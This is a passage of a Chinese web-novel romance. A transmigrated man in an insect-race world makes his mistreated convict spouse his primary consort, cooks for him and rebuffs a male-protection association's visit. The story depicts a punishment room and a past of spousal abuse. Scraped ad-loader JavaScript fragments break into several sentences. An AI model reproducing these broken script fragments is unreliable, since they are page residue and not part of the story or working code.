要是不小心失败了,那可就丢人丢大发了。 找了一圈,朗焰没有看见荣魇的身影。 为了以防万一,朗焰闲逛似的“路过”了一楼和二楼的每一个房间,在确定所有的房间包括厕所里都没有任何动静后,顿时松了一口气。 朗焰收起那副做贼似的模样,大摇大摆地走进厨房,锁上厨房外那扇移门的瞬间,悬着的心终于落进了肚子里。 很好,荣魇应该是出门去了,他正好趁着这段时间做一顿大餐。 正撸起袖子洗菜切配的朗焰没想到的是,荣魇此刻依然在这栋屋子里。 只不过,他的位置比较特别。 由于朗焰只有原主三天的记忆,所以他并不知道,这栋屋子,除了地面上的部分,还有一间位于地下的——惩戒室。 …… 荣魇已经在惩戒室里跪了许久。 雄主没有告诉他不离婚的代价是什么,只让他“该干什么就干什么”。 他实在是无法理解雄主的意图,也没有灵活到可以用语言来打探雄主话里话外隐藏的深意,所以他只能自觉地来到惩戒室,等待雄主的大驾光临。 他并不觉得雄主会这么轻易地放弃和他离婚,他相信雄主一定有什么话没能说完。 想要活下去,他唯一能依 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 靠的就只有这位因为暴虐而被废黜的原帝国皇太子,他无论如何都要想办法留下来,无论如何…… 手环传来轻微但接连不断的震动,令荣魇心中一颤。 为了不在任何时间打扰到序雄主,他的手环早就设置了全系统静音,而雄主的消息则是有单独的提示音,并非震动提示。 唯一会发出震动的消息,只有可能是来自虫星至高的权利机构——雄虫协会或是警卫司的通知。 如今的他是有雄主的雌虫,警卫司无法越过他的雄主对他实施逮捕,也就是说,他收到的通知,与他犯下的罪行无关。 那么,此时此刻,这般境遇之下,雄虫协会能通知他什么呢? 离婚申请。 是的,通过协会传达的离婚申请。 这是荣魇能想到的,唯一的可能。 纸质的离婚协议作为财产分割凭证并用作留档,而通过协会转发的线上离婚申请也同样必不可少。 荣魇牙关打颤,背脊发寒,几乎无法控制自己的双手。 他艰难地打开手环,看见了来自雄虫协会的申请案。 果然,是雄主刚刚提交的申请。 绝望一点一点染上荣魇的心,他开始大口大口喘气,如同被关在牢笼里投入海中即将被溺死的死刑犯一般,对着遥远的灯塔祈祷奇迹的降落。 可是,哪里会有奇迹呢? 灯塔遥不可及,甚至那都不是灯塔,而是海上的蜃楼,濒死的幻觉。 看吧,这份离婚申……雌君变更申请。 等等。 荣魇的呼吸一滞。 什么申请? 雌君变更申请? 荣魇不可置信地揉了揉眼睛,在发现自己没有出现幻觉后,他点开申请案细细地看了起来。 发信对象是雄虫协会,协会通过了雄主半小时前的雌君变更申请,并将申请转发给了他。 也就是说,他的雄主在半小时前向协会申请,将他变更为雌君。 这……这会不会是诈骗消息? 或者是协会的网络被黑客入侵了? 荣魇又是怀疑犯罪分子,又是怀疑黑客,就是没想过这份申请是真的。 根本就不需要多想,这份申请怎么可能是真的呢? 说到底,雌君变更需要雌奴的同意吗? 需要吗?应该……不需要吧? 由于从没当过雌君而缺乏这方面知识的荣魇陷入了巨大的茫然。 这应该是什么诈骗信息吧? 奇怪的是,这条“诈骗信息”怎么也无法关闭,无奈之下,荣魇只能缓缓点下同意。 在按下同意键的瞬间,荣魇依然觉得一定是哪里出了问题。 一只雄虫只能拥有一位雌君,雌君拥有的权利远远高于雌侍和雌奴,对于雌奴,雄主可以随意打骂,单方面决定离婚,但是想要和雌君离婚就需要走法庭的程序,如果法庭最终认为是雄虫犯下错误导致离婚,雌君甚至可以在离婚时拿回属于自己的财产。 不管怎么想,雄主都不可能把他变成雌君的。 荣魇几乎是抱着一种看自己笑话的心态,等待着这条“诈骗信息”接下来的操作。 然而下一秒,他的手环因为身份的变更而产生了无数的连带变化。 包括但不限于独立经济账户的苏醒、各大银行内置的变更建议以及曾经因为犯罪而被锁定的军部身份的可解锁提示。 荣魇:“……” 5. 雄主正在被锅攻击! 在虫星,绝大部分选择了婚姻的雌虫,都梦想着有朝一日能通过自己的努力成为自家雄虫的雌君。 雌君的身份代表的权力和意义,只有当过雌君的虫才能明白。 作为虫星史无前例的“莫名其妙地成为了雌君”的虫,荣魇对着眼前如潮水般涌现出来的权力,除了干瞪眼之外,做不出其他任何反应。 突然,一条血红色的系统提示出现在屏幕最上方,与此同时,他的手环开始剧烈颤抖,并随之发出一阵阵电流。 ——您的雄主疑似遭遇危险,定位已经发送,请立刻前往营救! 雄主有危险! 荣魇停滞的大脑开始转动,他甚至有点庆幸这条简单易懂的指令的出现,将他从完全无法理解的境遇中解救了出来。 手环发送的定位在厨房的位置。 厨房,对于娇弱到被刚出炉的热水烫到一下都有可能晕厥的雄虫而言,无疑是一个极其危险的场所。 一般来说雄虫不会主动靠近厨房,荣魇不知道雄主为什么会在厨房里,但他知道,雄主此刻一定遭遇了巨大的危机,但凡他多耽误一秒,雄主都有可能会死亡! 银发雌虫迅速起身,如猎豹般冲出了惩戒室。 …… 朗焰从冰箱翻出了冷冻的鱼和鸡肉,又从窗台上的花盆里拔了一把小葱。 蒜末、豆瓣、辣椒加入料酒炒熟,趁热淋在葱油上,简易的调味料便做好了。 接下来是处理鱼肉,朗焰熟悉地刮鳞,切开,丢弃内脏,在鱼肉上切出漂亮的花刀,放进调味碗里腌起来,帮助入味。 从系统这里得到的菜谱来看,虫族的饮食文化非常落后,这就给了朗焰发挥的空间。 只是,朗焰不能确定,到底虫族到底只是饮食文化落后但本身追求美食,还是对美食根本没有追求。 如果是后者……那朗焰就实在想不到拿下荣魇的办法了。 虽然他在003面前装成一副游刃有余的样子,但他其实从没有谈过恋爱…… 别说当一个PUA老婆的渣男了,就连如何当一个好丈夫、好恋人,他都没什么头绪。 准备好原料后,朗焰点火起锅。 他的炒菜水平非常高超,颠锅翻勺玩得飞起。 厨房里很快便充满了引人食指大动的香气,油雾点燃引发火光阵阵,满满都是烟火气。 就在朗焰渐入佳境的时候,身后突然传来“砰砰砰”的敲门声。 声音巨大得不像是在敲门,而像是在撞门。 一时半会儿腾不出手的朗焰高声呼喊道:“别急,等一下,我马上就开门……” 话音未落,门自己打开了。 确切地说,是被撞……不,是被拆开了。 朗焰回过头,看见了他两辈子都难以忘怀的一幕。 移门连带门框一起被卸下,门框周围支离破碎的墙壁不断掉落细碎的漆面。 一片废墟中,荣魇逆光站着,纯蓝的眸子深邃又沉默,仿佛是正在酝酿风暴的海面。 一对纯白无暇的骨翼在荣魇身后展开,并非鸟类的翅膀那样覆盖着羽毛,而是如骨骼那样呈多节状,每一节都闪烁着金属的光辉,看上去充满力量,看上去危险万分。 朗焰甚至无法判断自己见到的画面是否真实,过去的人生里,他从未从任何影视剧或者电影里见过这样……这样美丽到不真实的生物。 即使他已经知道这里并非蓝星,也知道荣魇是一只与人类有着本质差别的“虫族”,可是当他真的见到雌虫的全貌时,他还是失去了说出语言或是做出动作的能力,如同被石化了一般呆呆地站在原地不知所措。 半晌,朗焰的心理终于开始活动。 还说不是幻想种! 这大翅膀是什么! 003:【真的不是幻想种呀宿主大大,那是雌虫特有的骨翼,世界设定中有写呀,我这就发给您看!】 003:【宿主大大您控制一下心动的速度吧,您的心跳再这么跳下去可能要进医院了……】 朗焰:【爬。】 还没来得及和系统吵上两句,朗焰眼前突然天旋地转—— 他被荣魇拦腰抱了起来。 手中的锅铲在空中一百八十度旋转,滚烫的油滴从空中滴落,下方正对朗焰的眼睛。 关键时刻,骨翼收拢,内旋形成极其漂亮的弧度,严严实实地护在朗焰身前。 高温油滴落在骨翼上,连半点痕迹都没能留下。 朗焰:“……” 003:【啊啊啊心跳二百五了宿主大大!】 朗焰:【滚。】 荣魇身后的骨翼灵活地转动,轻松地做出了关闭灶台的动作,自己则转身抱着朗焰离开厨房,走入客厅。 他将朗焰放到了沙发上,漂亮的蓝色眸子里满是担忧,语气也无比焦: “雄主您没事吧?您怎么会在厨房里?” 朗焰缓了很久,才从二百五的心跳中找回了自己的声音: “……什么?” 荣魇再次问道:“您没事吧?您怎么会在厨房里?” 朗焰脸上的红晕一点都没退,开口时甚至带了些自己都没意识到的嗔怪:“我能有什么事,我在厨房里,当然是在做菜啊。” “您在……做菜?” 荣魇不可置信地说道。 他从未听说过会做菜的雄虫。 退一万步说,雄虫真的可以做菜吗? 厨房对于脆弱的雄虫而言,可是随时都能要命的场所。 别说起油锅这种高危操作了,雄虫哪怕是不小心被菜刀切到手指,都会因为情绪过于紧张而当场去世的啊! 朗焰被荣魇这么一质疑,开口时都有点结结巴巴的:“是、是啊,怎么了啊,我不能做菜吗?” 荣魇皱起了眉头:“可是我分明看见您在被燃烧的锅攻击……” 朗焰足足想了五秒钟才明白过来荣魇在说什么,他瞪大了眼睛,匪夷所思地回道: “什么被燃烧的锅攻击,我那叫颠锅!是一种炒菜的技巧!” 荣魇:“……” 天神般的雌虫单膝跪下,随后双膝落地。 虽然他完全不相信雄主的解释,但还是习惯性请罚道:“抱歉雄主,是我误会了您的意思,请雄主责罚。” 朗焰的目光完全被那对骨翼吸引了,他眼睁睁看着翅膀一点一点缩入荣魇的后背,最后消失不见。 千言万语化作了一句—— “卧槽”。 这也太帅了吧! 这是真实存在的吗? 确切地说,这么帅的男人居然是他的老婆,这种事真的存在吗? 003:【是真的呀宿主大大,荣魇就是您的雌君呀。】 朗焰:【以后我不叫你,你就不用出来了,别打扰我欣赏神迹。】 003:【???】 喝退了系统后,朗焰觉得整个世界都清净了。 他看着跪在地上的荣魇,心情难以言说。 虫族的文化与人类不同,这是非常正常的一件事。 不论是荣魇动不动就跪下的操作,还是所谓的“被燃烧的锅攻击”,在存在文化差异的情况下,都无法用简单的“不合理”来笼统 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地概括。 唯一不合理的地方,在于他自己。 他的目光怎么都无法从荣魇身上移开,他的心跳声震耳欲聋。 不仅如此,他的心中还在不断升起隐秘的欲望——他不想见到荣魇收起骨翼跪在地上,恰恰相反,他想要看见荣魇展开那双危险的翅膀,在天空中翱翔的模样。 朗焰缓缓蹲下,与荣魇平视: “你确实误会了我的意思,但……你不用道歉,我原谅你,以后也会一直原谅你,以后你再也不用在我面前跪下,永远都不用跪下。” 荣魇一愣,抬起头来看向朗焰:“雄主,我不明白您的意思。” 朗焰别看目光:“你不需要明白,你只需要照做,无论我以前和你约定了什么,一律作废,以后你不许在我面前下跪。” 荣魇:“……” 朗焰:“说话。” 荣魇:“……是,雄主。” 跟随着朗焰站起身的动作,荣魇也慢慢站了起来。 朗焰满意地说道:“你做得很好。” 荣魇微微歪着头,语气迟疑道:“多谢雄主……夸赞?” 朗焰有些难耐地抿了抿唇,刚才发生的事令他口干舌燥。 巧的是,当他抬起头时,正好就能对上一双性感又水润、殷红得仿佛被玫瑰水染过的薄唇。 朗焰找系统确认道:【系统,这是我老婆,我是不是能吻他?】 003弱弱道:【可以的,宿主大大。】 朗焰:【但我不会吻他的,我是直男。】 003:【……】 就在003想要列举一些身体数据来反驳朗焰的观点时,门铃响了。 来人非常不客气,一边按门铃一边敲门,把大门敲得哐哐响。 荣魇一副早知道会发生这种事的模样,满脸了然地说道:“应该是协会的虫到了,我这就去开门。” 朗焰面上泰然自若地点了点头,心中却在疯狂地询问系统:【什么协会的虫?这是原著中的重要剧情吗?】 003急得团团转:【我也不知道呀宿主大大,虐心值不足不能阅读原著啊!】 很快,数十只身材高大的虫鱼贯而入,满满当当地占据了整个客厅。 领头的虫是其中身材最为矮小的,他迅速锁定了朗焰的位置,弯腰鞠躬道: “尊敬的雄虫阁下,我是雄虫保护协会第三支部城区分会长,如果您受到任何胁迫,请务必第一时间告知我们,我们会竭尽全力保护您的权益!” 朗焰一头雾水,并发出了一声茫然的:“啊?” 见到朗焰这一无所知的模样,协会的虫们纷纷看向荣魇,并接连发出不屑的嗤笑。 仿佛已经认定了荣魇是一只胁迫雄主更改雌君的罪虫。 荣魇恨不得把头埋到地下去。 变更雌君这件事非同小可,像他这样的罪奴,任何虫都不会认为他有资格做雄主的雌君,可是他真的没有胁迫雄主提出申请,他也不知道事情怎么会发展成这样…… 分会长对着朗焰毕恭毕敬道:“有关您变更雌君的申请,协会在收到后高度警惕,为防止不法分子胁迫……” 听到“变更雌君”,朗焰的脸色变了。 听到“胁迫”,朗焰更是满脸煞白,摇摇欲坠。 他从沙发上站了起来,色厉内荏道:“我对天发誓,绝对没有胁迫过荣魇,我就是发了个申请而已,他要是不同意完全可以拒绝,不信你自己问他!” 场面瞬间变得寂静。 数道视线落在荣魇身上,充满震惊与不解。 荣魇:“……” 6. 我是自愿当首富的 见荣魇没反应,朗焰有点急了: “你说话啊,就事论事,你就说在雌君这件事上我有没有胁迫过你?” 雄主都发话了,作为雄主的雌虫,不论是雌奴还是雌君,再不接话就显得不合情理了。 于是,在众多协会虫的目光洗礼下,荣魇艰难地开口道: “没有,您从没有胁迫过我,我是、是自愿成为雄主的呃,雌君的……” 这话一出,不仅协会的虫,就连荣魇自己都觉得头皮发麻。 说到底,真的会有雌虫被“胁迫”成为雌君吗? 什么叫自愿成为雌君……这和自愿成为首富有什么差别? 见荣魇如此配合,朗焰松了一口气。 谢天谢地,荣魇是个老实人,没有借题发挥。 他虽然完全不了解雄虫协会是干什么的,但是他可以根据现世的经验来联想——这玩意应该是专注于保护婚姻中弱势方权益的机构。 想到这里,朗焰看了一眼手环,果然,就在他刚才沉迷颠锅的时间里,荣魇已经默默地通过他的雌君申请,成为他的雌君了。 对嘛,这不就都对上了嘛。 像他和荣魇这种前两天还在闹离婚、今天突然感情大好甚至确立雌君关系的情况,确实是怎么看怎么不对劲的,所以协会就上门来了解情况了。 也就是说,只要这波能糊弄过去,以后荣魇就能正式成为他的雌君了! “尊,尊敬的雄虫阁下,”分会长不死心地问道,“您真的没有遇到胁……” 朗焰紧张且义正严辞地打断了分会长的话:“请不要在我们面前提胁迫两个字,这是对我们感情的侮辱!” 分会长:“……” 其他虫:“……” 朗焰说的话,他们实在是理解不了。 作为虫星少有的3S雌虫,荣魇的名声不是一般的响亮,在场的虫里,就没有一个不认识他的。 因为伤害雄虫而锒铛入狱的原军部上将兼第三军团团长……谁会想不明白他千方百计地嫁给朗焰到底是藏了什么心思呢? 而且,如果要说名声的话,朗焰的名声也没比荣魇好到哪儿去。 虫星原皇太子,因暴虐无道而被废黜,以庶民的身份被流放到荒星以表达皇室对R3小行星建设的支持。 只是,虽然皇太子的身份被废黜了,但朗焰仍然是尊贵的雄虫,仍然拥有雄虫才有的特权,他和一无所有甚至负罪的荣魇之间,还是有不小的差距的。 像朗焰这样名声在外的雄虫,和荣魇能产生什么感情? 产生案情还差不多吧! 在场的虫里,有一只尤其特殊。 他叫瑞安,在荣魇就职于第三军团并担任团长时期,他曾是荣魇的副官。 在荣魇随雄主一同来到荒星后,他主动申请调到荒星警卫军工作,之后因为表现优秀,经常随雄虫协会一通执行任务,主要承担保卫安全的职责。 当瑞安接到与“荣魇”有关的调查任务时,他的内心是拒绝的。 那可是荣团长啊,真要到了诉诸武力的时候,荣团长一个可以打他们二十个! 虽然心中满是恐惧与不情愿,但他最终还是接下了任务。 他心想,如果事情真的到了不可挽回的地步,他起码可以为了他曾经的团长做最后一件事,哪怕那件事是为他拾骨。 万万没想到,抱着收尸的觉悟来,最后却……吃了一大口狗粮? 瑞安满脸困惑地盯着荣魇看,总觉得团长这波看似奇怪的操作之下,可能藏着某种深意。 荣魇察觉到他的视线,默默地转过了头。 瑞安:“?” 分会长拿出手绢,擦了擦额头上的汗珠,继续询问道: “尊敬的雄虫阁下,让我们先把雌君申请的事放到一边,就在十分钟前,安全系统提示您的生命安全遭遇极大的威胁,请问您是否遭到了胁……恐吓?请您务必不要隐瞒事实,我们是您的伙伴,会竭尽全力保护您的权益!” 朗焰完全听不懂分会长的话,他皱起眉头,眼中满是怀疑:“我听不懂你在说什么,你们到底是哪里的部门,给我看看你们的证件。” 荣魇赶忙说道:“安全提示的事我已经处理好了,无需协会……” 分会长看向荣魇,目光中满是警告的意味:“即使您是雌君,也无权干涉协会的做法。” 说罢,他转头看向朗焰,满脸堆笑着说道:“尊敬的雄虫阁下,安全系统会在危机时刻进入录音录像模式,以记录您当时发生的情况,您无需因为任何虫而说出违背本意的话,我们有充分的证据来……” “什么?你们还能录像?谁给你们权力这么做的,这是侵犯我的隐私!” 朗焰完全没能听懂分会长在说什么,他的心中满是被冒犯的怒气。 分会长赶紧解释道:“请您千万不要误解,监控仅会在您的周围出现致命危险时才会启动,平时是不会对您的日常生活进行监控的……” 朗焰匪夷所思道:“不是,话都是你说的,我怎么知道你们日常会不会偷偷监视我啊,我警告你们立刻把这个什么安全系统给我撤了,否则我现在就举报你们!” 分会长一遍擦汗一边坚持己见道:“您的要求我们不能同意,根据我们的经验,雄虫经常会出现无法判断危机是否发生的情况,请允许我们播放录像,以此判断您是否遇到了自身无法判断的危险。” “你这意思就是,我有没有遇到危机还要你们帮我判断是吧?”朗焰翻了个白眼道:“行啊,你放吧,我倒要看看你们到底监控了些什么!” 得到了朗焰的许可,分会长迅速在手环上操作了几下。 很快,虚空投屏出现在众虫眼前,录屏的内容正是十分钟前的朗焰。 画面中,朗焰勾着嘴角哼着小曲儿,动作熟练地往翻腾的油锅里加入一勺酱油调味。 他的面前是熊熊燃烧的火焰,火舌的高度近乎超过他的头顶,似乎随时都能将他吞没。 匪夷所思的画面,让在场所有虫都看傻了。 唯有朗焰不同。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他看笑了。 “做个菜都能给我识别成生命危机,你们这破系统的意义在哪里?我警告你们,立刻给我把这系统撤了,不然我以后天天举报你们侵犯我的隐私!” “您这是在……做菜?”分会长惊呆了:“您为什么要做菜?” “我做个菜还需要告诉你为什么,你谁啊?我给雌君做个菜怎么了,犯法吗?” 朗焰气得火冒三丈,他觉得自己和眼前这群虫完全不能交流,他甚至怀疑对方是故意来挑事的。 要不是因为初来乍到没有底气,他都想撸起袖子干上一架了。 荣魇他是显然干不过的,光看身材就知道干不过,但是眼前这些雄虫协会的小矮个,他觉得自己能打十个! 协会的虫们一个个目瞪口呆。 雄虫给雌虫做菜,这是真实存在的吗? “好、好的雄虫阁下,您的情况我,我们都明白了,都是我们不好,我们以后会注意的……” 分会长结结巴巴地道着歉,半晌,他的目光落到废墟状的厨房上,垂死挣扎道: “雄虫阁下,请恕我最后再冒昧地问一下,您这墙是……” 荣魇站出来承认错误道:“是我做的,我收到了安全系统的提示,以为雄主遭遇到了危险,情急之下就把厨房的门拆了,请雄主放心,我这就把墙砌回去,保证和原来完全一样。” 分会长还没来得及接话,朗焰率先开口道: “听见了没有,我这墙变成这样也是你们害的,我不让你们赔偿损失就不错了,你们回去以后立刻帮我把这野鸡系统关了,否则我以后天天做菜,你们天天上门,我这墙每天都得修!” 分会长:“……” 其他虫:“……” 雄虫天天做菜可还行。 他们是不是在做梦啊? 否则怎么会遇到这么不合常理的情况? 朗焰不耐烦地说道:“行了,你们还有别的事吗,没有事可以撤了吧?都这个点了,我们准备吃饭了!” 一只站在分会长身后的雌虫突然往前走了一步,对着朗焰行了一个标准的军礼:“尊敬的雄虫阁下,不知道您是否有另娶雌侍的想法,我是一只军雌,财产方面……” 他的话还没说完,眼前突然出现了一片高大的阴影,完全挡住了雄虫的身影。 荣魇挡在朗焰面前,蓝眸微眯,对着这位军雌冷漠地吐出一句:“滚。” 军雌被荣魇的气势压得喘不过气来,但是他的大脑还在运作,他的理智告诉他,合格的雌君不应该阻碍雄主另娶雌侍,雌虫在公开场合下表现出对于雄虫的占有欲,这对雄虫而言是非常丢脸的一件事。 于是他竭力探头看向荣魇身后的朗焰。 他看见—— 朗焰若有所思地看着荣魇的背影,嘴角微微抬起,洋溢着自己都没能察觉的惊叹与恋慕,皇族特有的黑眸波光流转,极专注,极深情,仿佛只盛得下荣魇一只虫似的。 军雌:“……” 打扰了。 7. 雄主可能疯了 协会的虫们灰溜溜地离开后,屋子里总算清净了。 朗焰骂骂咧咧地说着一些责备协会的话,并且还身体力行地在网上搜索投诉协会的方法。 荣魇不敢阻止,只能看着朗焰发疯。 雄虫投诉协会办事不公的例子……其实并不少见。 虽然雄虫已经拥有足够多的特权,但既得利益者们的欲望是一道深深的沟壑,永远都不会有被填满的那天。 应对贪得无厌的雄虫,想必协会很有一套。 但是朗焰这种前无古虫后无来者的雄虫,恐怕要让他们头疼很久了…… 荣魇沉默地打量着原地跳脚的朗焰,心思不禁有些小小的活跃。 他接触朗焰的时间其实很短,从第一次见面开始算起,满打满算也不过半年的时间。 在他看来,朗焰不仅和传闻一模一样,也和他认知中的传统雄虫别无二致。 暴躁、懒惰、贪婪、颓废……除了这些雄虫们的特质以外,朗焰的身上还有一种皇族特有的高傲自大与喜怒无常,这使他比一般的雄虫更加难伺候。 不过,如果不是朗焰暴虐的名声在外,他根本就没有机会嫁给朗焰,也就不可能为自己争取到宝贵的活命机会。 他曾以为自己非常清楚朗焰是什么样的虫,直到今天……他发现自己似乎一点都不了解他的雄主。 不,说到底,这真的是了解不了解的问题吗? 荣魇的心中不由产生了一种怀疑。 他觉得,他的雄主有点不对劲。 从突然放弃和他离婚开始,就非常、非常不对劲。 众所周知,脆弱的雄虫不管发生什么样的意外、得什么样的怪病,都是非常正常的。 那么,因为酗酒过度影响到了脑子,不小心疯了……似乎也是合理的? 一想到这种可能,荣魇不禁浑身战栗。 雌虫天生肩负保护雄虫的职责,即使他和朗焰没有婚姻关系,遇到这种情况,他也应该立刻向雄虫协会报告情况,让雄虫第一时间得到治疗。 他应该这么做,他有义务这么做。 可是,他不敢这么做。 疯了的雄主和之前比起来,是那么……仁慈。 而他,卑劣又无能的他,唯有隐瞒雄主的疾病,才能为自己谋求一线生机。 虫神在上,他死后当入地狱赎罪。 但在他现在还不能死,他还有必须要做的事。 哪怕利用一切,哪怕违背良心,他也必须丑陋地活下去。 …… 朗焰的情绪来得快,去得也快。 往雄虫协会的举报信箱里投了一封长长的举报信后,他迅速将协会的事抛之脑后,想起了自己那道炒了一半的蒜香鱼片。 于是他走进厨房废墟里,将锅里的菜倒进盘子里,小心翼翼地端了出来。 电饭煲里的饭已经煮好了,在电饭煲里保温了一段时间,现在热腾腾的,正适合入口。 作为他第一次在虫星下厨的成果,勉强还算过得去吧。 原本他还指望着能用美食来瓦解荣魇的思想防线,让他同意做自己的雌君呢,万万没想到,甚至都用不上美食出场,荣魇就自己妥协了。 虽然从结果上来说是给他省了事,但这个结果却令朗焰不禁担忧另一个问题——荣魇的斯德哥尔摩到底有多严重啊? 他可是要收集虐心值治疗养胃的,荣魇这情况,哪里像是还能挤得出虐心值的样子啊? 而且退一步说,荣魇都病成这样了,他还想着从荣魇身上剥削虐心值……他还是人吗? 想到这里,朗焰的良心刺痛不已。 要不是他没有信仰,他现在就该向他的神明请求宽恕了。 没穿越前,他是个看到蚂蚁搬家都会特地绕路的三好青年,没想到穿越后,却不得不做一个畜生不如的渣攻…… 都是垃圾系统误他! 003:【???】 “荣魇,晚饭做好了,来尝尝味道怎么样,熟是肯定熟了,就是火候还不到,可能不够入味。” 朗焰摆好碗筷后,殷勤地招呼荣魇来吃饭。 “好的……雄主。” 荣魇心情复杂地应道。 一旦产生了怀疑,他就不禁拿曾经的雄主和现在的对比起来。 以前的雄主从不叫他的名字,一直都凶狠且鄙夷叫他“贱奴”。 声音嘶哑难听,仿佛野兽在嚎叫,语言逻辑混乱,完全匹配那颗被酒精填满的脑袋。 现在的雄主则完全不同。 他的语调轻松愉悦,他的声音灵动可爱,说长句的时候不会在莫名其妙的地方停顿,俨然拥有着清醒且充满生命力的灵魂。 荣魇拿起饭碗,神色平静夹起一筷子卖相非常一般的鱼片。 雄虫做饭,这要是传出去,应该足够上社会新闻的头版头条。 他活了二十多年,从未听说过类似的事。 眼下居然发生在自己身上…… 事情本身足够震撼,以至于味道怎样显得不值一提。 别说味道不好吃了,就算是毒药,他也会面不改色地吃下去。 抱着这样的想法,荣魇将筷子送入口中。 下一秒,他的脸色变了。 鱼片滑嫩到仿佛能在舌尖上起舞,浓郁醇厚的蒜香掩盖鱼腥味的同时又带来辛辣的刺激,一口下去,四溢的香气填满整个口腔,并迅速朝着喉咙深处滑落…… 荣魇不可置信地又吃了一口。 一口,一口,又一口。 朗焰就这么看着荣魇夹走了所有的鱼片,一块都没给自己留。 但他并不生气。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 在荣魇夹走一半鱼片的时候,他就已经放下了筷子,全神贯注地看着荣魇吃饭。 看帅哥吃饭简直是一种享受,要不怎么说秀色可餐呢。 对着荣魇这张脸,他吃白饭都能吃下去三碗。 就是荣魇这一副从没吃过好东西的样子,看着真是让人心疼。 真是太惨了,这么好的一个帅哥,偏偏眼瞎看上了原主这个畜生。 朗焰选择性地忽略了虫星整体烹饪水平不高的事实,将荣魇所有的不幸全部归结在原主虐待他上。 等到荣魇夹走最后一块鱼片后,朗焰才开口问道:“好吃吗?” 荣魇整张脸都埋进了碗里,闻言发自内心地点头:“好吃,太好吃了,雄主。” 朗焰顺理成章道:“那我以后一直做给你吃。” 荣魇扒饭的动作停下了。 蓝色的眸子里流露出一丝困惑。 朗焰心里咯噔一声,意识到自己可能说错了话。 他现在还披着原主那好吃懒做还酗酒的畜生皮,要是一下子变化太大,被荣魇看出点什么问题来,那可就糟了。 无奈之下,朗焰只能改口道: “干嘛啊,给你开个玩笑,你还当真了?做饭这事我一个人做,怎么可能做得过来?” 荣魇眨眨眼睛,试探道:“那……” 朗焰不耐烦地打断他:“你别说话,听我说,这样吧,大家公平地来,我们一人做一天的饭,今天是我做饭,明天就轮到你了,洗碗这事儿我不擅长,你就先都包了吧,我负责洗拖把拖地,这总可以吧?” 今天都这么晚了,他做完这顿晚饭就没事了,但是明天可是要从早饭开始算起的。 他可真是太渣了,连这点小便宜都占。 要不是披着原主的皮,他可做不出这种事。 荣魇:“……” 不管是做饭还是拖地,都一样骇虫听闻。 拖把上万一有毛刺,会不会刺伤雄主娇贵的手? 而且放着扫地机器不用,非要自己拖地的操作也实在是有些令虫迷糊…… 朗焰拍拍桌子,语气不善道:“怎么不说话啊,你到底是同意还是不同意?” “我,我同意……” 荣魇垂下眸子,心中满是愧疚。 雄主都疯成这样了,他却不能为雄主做点什么。 虫神在上,请宽恕他的自私与无能。 朗焰收回目光,在心底疯狂叹气。 荣魇这幅受气包的模样,一看就是被欺负习惯了。 他虽然穿越成了原主,但他不仅不能不能为荣魇做点什么,甚至还要为了虐心值继续扮演渣攻,继续欺负荣魇。 唉,都怪这垃圾系统,一点好事不做! 003:【???】 怎么又骂我? 8. 意外出现了 虫族所在的虫星星系中,除了主星虫星之外,还有不少适合居住的星球。 比如朗焰他们现在所在的星球,就是距离主星最远的小行星,R3小行星。 R3小行星原本是一颗荒星,从开始建设到投入使用的时间非常短,移居到这里的虫,绝大部分都是在主星混不下去而不得不另谋出路的虫。 因为环境相对恶劣,整个R3小行星上的雄虫数量非常稀少,权益更受重视,有时候反而可以得到比主星更高程度的优待和自由,因此吸引了一些性格迥异或是身世复杂的雄虫定居。 在主星的全力支持下,R3小行星的基础建设发展得很快,短短十年的时间,居民数量就翻了五十倍。 随着居民规模的扩大,军团也随之到来。 如今驻扎在荒星的警卫军团,正是原本的第三军团。 第三军团原团长——荣魇曾因伤害雄虫被起诉,之后,雄虫协会以荣魇的事为导火索向军方施压,引发巨大的动乱,事情平息后,双方全身而退,唯有荣魇被法庭定罪,全靠嫁给朗焰才勉强得了个革职流放的下场。 如今的荣魇在警卫军团仍有一席之地,只不过不再担任团长的职务,仅仅只是一个小小的文职。 对于荣魇而言,即使是文职,他也想继续留在军团工作,但可惜的是,很少有雄虫愿意让雌虫在婚后继续工作,荣魇同样也没能例外。 现在的荣魇暂时处于婚假停职的状态,但是婚假是有时限的,如果过了时限他依然无法回归岗位,那么,他也就要永远与他熟悉的军团说再见了。 瑞安结束协会的任务后,第一时间前去向上级复命。 到了团长室,敲了半天门没有回应。 他在门口站了一会儿,十分钟后,他见到了喝得醉醺醺的代理团长诺茨。 诺茨不仅自己回来了,身边还跟着两个打扮得花枝招展的亚雌。 在虫星,雌雌恋并不少见,由于雄虫的数量过于稀少,于是便出现了大量的雌雌组合与雌虫、亚雌的组合。 “团长,”瑞安行礼的同时一板一眼道,“公务时间禁止喝酒。” “滚,你是团长还是我是团长?” 诺茨想要一把推开瑞安,然而他的手按在瑞安胸口上后,才发现根本无法撼动瑞安。 他顿时气急败坏了起来: “你想干什么!我可是主星派来的,和你们这群乡巴佬不一样,还不快给我滚开!” 站在他身边的两个亚雌帮腔道: “就是就是,懂不懂上下尊卑。” “乡巴佬,真恶心……” 瑞安沉默着往一旁退了半步,让开了道路。 诺茨如胜利者一般走向他的办公室,刷手环开门。 进了门后,他又探出头来,挑衅地看向瑞安: “对了,我前两天收到了上级指示,给你们荣团长批好了除名文件,就等冻结期一过给他送去呢,哈哈哈……” “说起来,你今天就是去看荣魇的吧,他怎么样,是不是像畜生一样跪在地上,被那皇太子当马牧?” 瑞安从阴影中抬起头来,他的脸上并没有诺茨想象中的屈辱或是愤慨,相反,他神色放松,语气坚定地说道: “荣上将过得很好!” 诺茨冷笑道:“呵呵,不见阎王心不死,反正也没几天了,我们就等等看吧。” 砰的一声,大门重重关上,彻底隔绝里外。 …… 吃过晚饭后,便到了睡觉的时间。 朗焰从吃完晚饭开始就在担心睡觉要怎么办,毕竟他可是直男,他一点都不想和一个才认识一天的雌虫同床共枕。 朗焰不知道的是,原主和荣魇因为感情不和,本来就是分房睡的,根本存在同床共枕的情况。 他的担心完全就是多此一举。 